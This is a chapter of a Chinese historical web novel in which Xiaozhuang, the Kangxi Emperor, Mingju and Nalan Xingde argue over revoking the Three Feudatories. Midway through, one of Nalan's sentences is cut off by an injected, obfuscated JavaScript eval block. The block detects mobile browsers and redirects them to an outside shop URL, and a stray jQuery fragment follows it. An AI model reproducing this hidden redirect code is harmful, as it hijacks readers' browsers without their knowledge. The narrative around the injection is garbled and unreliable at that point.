58.第58章
    慈宁宫里,孝庄笑吟吟地跟皇孙玄烨和皇后赫舍里一起用早膳。

    苏麻喇姑和顾问行一左一右站在太皇太后和万岁爷身后伺候着,主子们心情,他们自然跟着沾喜。

    孝庄问:“咱们皇上在这一个半月里,都干了些什么有益于大清和有益于百姓的事啊?”

    玄烨自信道:“回皇阿奶,国计民生上面,孙儿革几位在其位不谋其职的省长官的职,然后将那些省份亏欠朝廷的水银都强制收回来了,那可不是一笔小数目,可见那些省份不是拿不出银子来,而是想着吃皇饷、故意报亏;军事军情上面,孙儿派出得力干将去勘查连接南北的更优路线,以保证一旦战起,将劳民伤财之害降到最小,因为后勤物资供应是战事的要紧环节。”

    “还有吗?”孝庄心明如镜,“皇上第三步还干了什么?”

    “朕原本想要整顿吏治,先拿工部开刀,但是考虑到实情,就做了罢,改成重视户部,让户部的官员们好好筹办选秀之事和皇阿奶的生日。”

    孝庄挑明了问:“你的纳兰还教你做了什么?”

    玄烨朝顾问行一看,顾总管连忙向孝庄回话道:“回老祖宗,万岁爷在这一个半月里面,没有跟纳兰公子见面。”

    “皇祖母我在归还素佩给纳兰的当日,就问过他对时局看法和他对皇上应该怎么做的想法,如今皇上按照他的路子走,可是觉得‘贤臣难再得’啊?”

    “孙儿冤枉,纳兰冤枉。”玄烨离座给孝庄行了个求宽谅的礼,“请皇阿奶明鉴。”

    这么说来——

    这事的确是孝庄的误会。

    纳兰没把自己的想法告诉过玄烨,玄烨凭借自己的眼光和魄力施政,只是君臣二人恰好把“路子”都重合到了一起去而已。

    “罢了。”

    孝庄接过苏麻喇姑盛来的一碗参汤。

    *

    “等到选秀之事结束、纳兰考完功名、刑部的冤假错案悉数见雪,孙儿就要开始撤藩和平藩了。孙儿干劲满满,真想早日大展身手啊!”

    “皇上有这样的抱负,照理说我这个皇祖母不应当浇皇上的冷水。”孝庄的神色转为严肃,“皇上打算以什么名义撤藩和平藩?”

    玄烨霸气道:“难不成孙儿等那些藩王都后继有人了、实力更大了再撤再打不成?孙儿就是要先发制人!”

    “皇上派谁去打?”孝庄放下参汤碗,“能够作为大将率兵的人当中,皇上最信任谁?”

    玄烨一愣,答不上来。

    ——总归是不能索额图或是明珠二选一吧?

    ——即便是交给安亲王岳乐,万一岳乐居功自傲,这战争胜或者不胜都反了朝廷怎么办?

    玄烨一咬牙,问:“皇阿奶可替孙儿问过明珠和索额图的想法了?”

    顾问行赶紧圆场道:“老祖宗,万岁爷的意思是,撤藩和平藩之事,还得多方参合参合才行呐。尤其是要老祖宗您多费点心。”

    这就是给了孝庄一个对康熙皇帝好好讲道理的场景,玄烨坐的笔直,给了顾总管一个“你懂的审时度势”的目光。

    顾问行把皇上的目光一接,又道出了一番更契合祖孙二人心思的话来:

    “奴才愚钝,这撤藩和平藩之事,自然是经不起等,就像是不能把鳌拜熬死一般,也不能等到吴三桂老死,老祖宗洪福齐天,定是盼着天下早日无患的。再有就是,万岁爷一旦把这事拿到朝堂上去说,怕是会乱了套,还得叫老祖宗是一旁坐镇着局面才是。”

    玄烨摆手,叫顾总管退到身后去,不必再说了。

    说得再多,还不是一个意思:

    康熙皇帝,得听从太皇太后孝庄的话。

    孝庄道:“朝廷的实力看似强大,实则只是表面,皇上不知道派谁去打就正好说明了这点。照我看,撤藩和平藩之事不是不能干,而是皇上要想清楚之后再干。”

    “孙儿敢问皇阿奶,什么样才叫做‘想清楚’了?”

    “好……好啊,我竟然教出了一个——连费神思忖都不愿、张口就问衡量标准的‘好皇帝’来,真是愧对列祖列宗!”

    孝庄气的声音发颤,转向苏麻喇姑:

    “传我懿旨,把明珠和纳兰性德叫到慈宁宫来,让纳兰性德当着我、明珠、赫舍里皇后的面,告诉皇上:三藩之事,什么样才叫做‘想清楚’了!”

    “皇阿奶——”

    玄烨猛地站起,力度过大,翻倒了凳子。

    一旁的赫舍里皇后就跟是个摆设品一样,说话也不是,不说话也不是,只觉得自己还不如先行向孝庄跪安呢。

    当初前往慈宁宫的时候,皇上明明说的是:“皇后,与朕一同跟皇阿奶商议秀女大选的最关键之事。”

    “对着皇阿奶,身侧又有明珠,纳兰能言无不尽吗?”玄烨护着自己的侧臣,“不如叫纳兰去养心殿单独给朕说。”

    “皇上你给我坐着!”

    孝庄冷眼一训:“早膳冷落了赫舍里皇后我没责你,意气用事要打吴三桂我也没拿出大道理来压你。但是你作为大清的一国之君,连对国家大事的衡量标准都不懂该如何拿捏了,像什么样子?”

    玄烨不发一言。

    “顾总管。”孝庄一阻止,“这桌子菜不必撤,侯着明珠父子来见就是。”

    “是。”顾问行摆正了玄烨的凳子,“奴才恭请万岁爷就坐——”

    *

    传旨的人来到明府时,明珠和容若正坐在渌水亭中,分别检查小揆叙和小揆方的功课。

    “明珠大人,是太皇太后叫奴才来的。今早皇上说了什么奴才不知道,但是从苏嬷嬷的口风来看,像是件皇上自失了分寸之事。”

    “这选秀之前皇上有些微词也正常,老祖宗犯不着不高兴。”明珠离座,走出了几步,“本官这就是随你去,让皇上既顾国又顾家。”

    “太皇太后请了长公子一并去。”

    明珠看向那边跟两位弟弟相处的很好的容若,倒是不舍得打扰这“兄友弟恭”之景了。

    容若听罢揆叙和揆方的背书,便在白纸上开始画图,边画边道:“今图有日月圆蚀交,日月圆相除得四寸五分,问日月蚀交之分。”【注1】

    “前明大家张岱,在《夜航船》【注2】的‘序·卷一·天文部’记录了天文学识,长兄想着:不能光看文字描述,得触类旁通才好。就出一题来考考你俩。”

    揆叙和揆方左右坐在容若身边,一起研究起题目来。

    见两位弟弟专注,容若笑问他俩:“借助西洋器械可以利于此题得解,你俩要不要来长兄的书房摆弄摆弄那些器械?”

    “云辞姐姐拿来的?”

    “不是,是皇上赐的。”

    “容若,你这是在干什么?张岱的书你也敢看!”

    明珠就跟是怕传旨之人回去后,会向孝庄打小报告一样,把桌面上的书籍和图纸都反掩了起来。

    “张岱没被你的祖王父多尔衮处死,那是他命大。还有写《天工开物》的宋应星,现在指不定躲在哪里在筹谋什么……万一张宋二人投靠到朱三太子麾下,居心叵测,共商复明大业……你看他俩的书,岂非大受牵连?”

    “阿玛别紧张,儿只是抽丝剥茧,自出了几道题目来考察揆叙和揆方对算术的掌握程度而已,没有去追捧张岱的大作《夜航船》。”

    “你还敢用‘大作’两个字!”

    明珠一把捂住了容若的嘴,给了儿子一个“太皇太后的人就在阿玛身后”的警惕眼神。

    “阿玛你快进宫去吧!”容若一催,“揆叙和揆方还在书房等我,我要过去……”

    “你去什么书房?”明珠指向家门口,“太皇太后在慈宁宫等着你我父子去给皇上说教——”

    “啊?”

    “你,你……唉!”明珠拍了一下自己脸,“阿玛都快被你惹糊涂了。对皇上说出‘说教’二字是大不敬啊。总之,你我父子现在就进宫去给皇上:讲道理。”

    *

    慈宁宫中。

    明珠父子按照礼数给太皇太后和帝后请了安,然后遵了孝庄的话,坐进了同一张饭桌中。

    饭桌上的菜肴,都在下面添了保温的用金色罩子罩着的小蜡烛,甚至可以说是:除了孝庄本人喝过一碗参汤外,那些菜纹丝未被谁动筷过。

    从苏麻喇姑手中接过一碗“干贝鸡丝粥”的时候,明珠大为感动,谢道:“奴才和容若谢老祖宗恩典!!”

    玄烨只见,纳兰的穿着十分素雅。

    莫非之前明珠给长公子费五万金制作一套私服——

    让如意馆馆长亲自设计图样,还动用了三大织局之事,真是个谣言?

    苏麻喇姑道:“老祖宗说,膳食不管是什么时候吃,都要吃好,吃好以后再一同商谈要事不迟。方才皇上说纳兰公子爱吃:苹果炒排骨,就吩咐顾总管去叫小厨房做了,纳兰公子尝一尝吧!”

    纳兰用一句彬彬有礼的询问表示了自己的抗议:“皇上,这是甜的还是咸的?”

    玄烨看向顾问行:“顾总管,你说——”

    顾问行看明珠:“明珠大人,这万岁爷的心意……您说呢?”

    明珠只得硬着头皮道:“容若吃单个苹果多一些。我这个做阿玛的,咸甜都吃的。”

    纳兰的碗中,添上了明珠舀来的一块排骨和一块苹果。

    ——阿玛的用意,是在强调:和气为上,皇上的心意不能不领。

    纳兰一吃那块排骨,脸上一惊,僵着个“万千优雅凝固在一瞬间”的表情看玄烨。

    孝庄以为玄烨又悄悄的排骨中做了什么整蛊纳兰的事情,正要训诫,便听见翩翩公子道:“皇上是不是觉得臣今天穿的素了一点,有先见之明为臣锦上添花?臣谢皇上!”

    玄烨觉得自己的“龙颜”总算被挽回来了,就装作生气的样子道:“纳兰你穿的这么素,不差再吃些素的。”

    赫舍里皇后温婉问:“皇上,这是怎么回事?”

    玄烨自己吃了口“排骨”,道:“纳兰喜欢吃素,朕今天给他准备了素菜,就是这道苹果炒排骨。排骨是用莲藕条穿进油条里做的,炸至金黄之后,再跟苹果块一起迅速翻炒几下,就有了这道菜。”

    赫舍里皇后解意道:“皇上别出心裁,以假乱真,难怪纳兰公子尝后惊喜。”

    *

    膳食吃罢,就进入到了今日的正事上。

    赫舍里皇后主动跪安后,孝庄屏退了四周的宫女和太监,厅中只剩下了她自己、玄烨和明珠父子。

    “皇上要撤藩和平藩。”孝庄看着纳兰,“但是却有诸多未能‘想清楚’之事,以至于连作为天子最基本的‘自我决断感’都没有了,我还如何指望皇上接下来有‘自我决断力’?孩子,你说说自己的看法——”

    “容臣想想再答。”

    孝庄点头,纳兰的确是比玄烨懂事,少年天子身边的确是需要一个沉敛冷静的侧臣。

    “所谓擒贼先擒王,理应攻打剿灭吴三桂为上,尚之信和耿精忠作为附庸,必将见势而为,降于朝廷,这是皇上应当想清楚的第一关键点:火力和目标该放哪儿。”

    “若是我阿玛主战,那索额图必将主和。只是吴三桂野心气焰非招安或是割让云南给他所能一劳永逸,留其性命,只会导致其子孙扎根扩势、向朝廷索要更高优待,不利于大清长治久安和皇上拔出心中一刺。这是皇上应当想清楚的第二关键点:鉴机识辨朝中明索两党、望重臣工们的主张。”

    “现在的皇上,带着私心比天下心多一些,存着速决观比大局观强一些,无法做出方略来,亦无法让骁勇能征之将信服,却不肯承认,不可说是走在明君之途上。所以,皇上应该自省和看清的第三点就是——”

    “纳兰性德,你放肆!”

    玄烨怒吼一声,然后拿起桌上的茶杯,扬手就要有所动作。

    纳兰不知道玄烨是想摔茶杯还是想泼杯中水,反正:皇上这“要发泄在纳兰面前”或是“要发泄在纳兰身上”之举,二选一是躲闪不了的了。

    “朕看你是仗着太皇太后给的机会,目中无君!”

    纳兰半仰头,把眼睛一闭,倒也潇洒慷慨:八九不离十,皇上的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719982|138365||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    茶水是要往我脸上泼了。

    等到在重重的置杯声中睁开眼睛,纳兰才反应过来,那半冷不热的茶水没有泼在自己脸上,而是泼在了自己的心脏左前方上。

    “皇阿奶,他轻蔑朕,说朕好大喜功存私心。”

    玄烨把纳兰从位置上拽了起来,惊的明珠也一并起了身。

    “皇祖母倒想问问你——”

    孝庄走到孙儿面前,移开了孙儿拽着纳兰的手。

    “玄烨啊,听完纳兰的话,你有没有彻头彻尾地想明白、想清楚:自己错在哪儿?欠缺在哪儿?当下撤藩之举不成熟的原因在哪儿?”

    “如今是纳兰对,朕错了?”玄烨嘴硬,“朕要——”

    明珠慌忙拉着儿子一跪,恳请道:“皇上万万不可说出要‘御驾亲征’这四个字来。否则,就不叫平藩,而叫乱军心啊!”

    玄烨一把坐下,指着明珠,无奈且生气:“你们父子是要一并领罪吗?朕什么时候说过要御驾亲征?”

    “你们父子起来。”孝庄做了主,“慈宁宫有规矩,但不是皇上跟前的规矩,这动不动就跪,明珠你不心疼孩子我还心疼呢。”

    “朕明白了!”

    “皇孙你明白什么了?”

    “撤藩之事,可以步步为营着手进行;平藩之事,等过个两年,朕二十岁了再战!”

    “纳兰。”孝庄看向明珠的长子,“皇上自己悟了,你有什么要对皇上说的?”

    “撤藩和平藩,无论前路皇上会面对什么,臣都会陪在皇上身边。军事、民情、经济,三者在战前、战中、战后该如何稳住命脉、打通命脉、迸发命脉,阿玛明珠也会在皇上的朝堂上做个肱骨之臣。”

    “皇孙,纳兰父子的决心,你可都听清楚了?”

    “回皇阿奶,朕听清楚了。”

    “那就散了吧!”

    孝庄朝外头喊了苏麻喇姑进来。

    “苏嬷嬷,接下来皇上要干什么我不干涉,但是你去坤宁宫给皇后传我的话,就说选秀前后,皇上还是心疼皇后、晓得皇后的辛劳的。”

    玄烨应道:“孙儿听从皇阿奶教诲,今明两夜都会宿在坤宁宫。”

    *

    走出慈宁宫。

    见儿子被皇上叫走了,明珠耽误了顾问行的步子,问他:“顾总管,最近皇上对容若态度如何?还请如实告知本官啊!”

    顾问行:“明珠大人不必担心,万岁爷跟纳兰公子那就是:人前君臣、人后挚友,不舍彼此的!您作为公子的阿玛,应当觉得有福气才是。”

    “唉!”明珠一叹,“苏东坡说:人皆养子谓聪明,我被聪明误一生。顾总管,你以为本官比坡翁如何?本官的三个儿子,比坡翁的三个儿子如何?”

    “坡翁哪里懂官场之道呢?坡翁之子哪能跟明珠大人的三位公子比?要想青史留名,光有豁达志向和一腔热血怎么够?”

    明珠默默往前走,百感交集,只在心中道出这么一句话来:

    惟愿生儿愚且鲁,无灾无难到公卿。

    “平凡是真,儿啊,阿玛只要你无灾无难就好……就好啊!”

    *

    玄烨走进养心殿,看见了在里面候驾伺候的梁九功。

    “梁公公,你去找一身衣服来给纳兰换了。”

    “万岁爷,奴才哪有给纳兰公子挑衣服的资格?”梁九功率真道,“奴才要是挑错了,领罚就是;损了公子的形象气质,奴才担待不起啊!”

    “纳兰身上的茶渍,是朕泼的。”

    “下回皇上生气了,就把这福气赏奴才身上吧!”

    “行了,你下去吧。”

    “知道朕为什么给你‘何时何地都可以穿私服’的特许吗?不是因为朕只能穿龙袍,所以想多见识见识你有几套私服、能穿出什么范儿来。”

    玄烨上下打量着眼前人,“而是纳兰你,不该被朝服或者戎装玷污了一身清雅。朕,要在眼前看到最本真的你。”

    明白了玄烨的圣意,纳兰点头应了声:“是。”

    玄烨问:“最近除了去徐乾学家里听讲、在渌水亭编撰、释义、校订《古抄本十二卷》之外,你还做了什么?”

    “臣还读了张岱的书《夜航船》,一面是被里面五花八门的知识所吸引,自得乐趣;另一面是自己出了几道天文学算术题来考弟弟揆叙和揆方,臣喜欢兄弟一同讨论的时刻。”

    “《夜航船》?为什么叫这个书名?”

    “张岱未言,但臣觉得是:将书海知识比喻为航道,将人比喻为驾船者,好在黑夜之时有所谈资。”

    “纳兰,你可看出来了?朕现在就想在你面前大笑。”玄烨拍着侧臣的肩膀,“张岱不见得是好人,更是太皇太后忌讳的人,你却是肯读他的书、肯解书名之意。岂非可笑?”

    “《夜航船》里面有很多知识,其中臣最爱看天文学、植物学、古玩学、地理学这四部分,要是皇上愿意听,臣可以给皇上讲。”

    “哈哈,何乐而不为?”玄烨神色朗然,“朕日常听明珠讲经,换个口味听明珠的儿子讲百科也无妨。”

    “你不是说自己有编天文学算术题的本事吗?”玄烨饶有兴致,“把你编的题目都写给朕看看。”

    纳兰就把题目和图示一并书写和绘画了出来,问:“这道算术题,不知道皇上解不解的出来?”

    “天下有什么难题是朕不能解决的?太小看朕了!”

    玄烨解题之前,对纳兰下了道命令:

    “你留在朕身边,夜幕降临之前不许离开养心殿半步。”

    【注1】释义:图纸有日月之圆蚀交,日圆面积除以月圆面积得四寸五分,问日月蚀交的长度。

    【注2】

    《夜航船》:

    1、明末清初文学家、史学家张岱作品。是一部包含“天文地理”和“文化常识”的百科全书。

    2、容若多在闲暇之时阅读,品个中乐趣,得会心一笑,曰:“天下的学问,向月行舟以赴,暗夜航船、则难以对付。” (共鸣之处,也会情不自禁地跟公子一样笑出来~)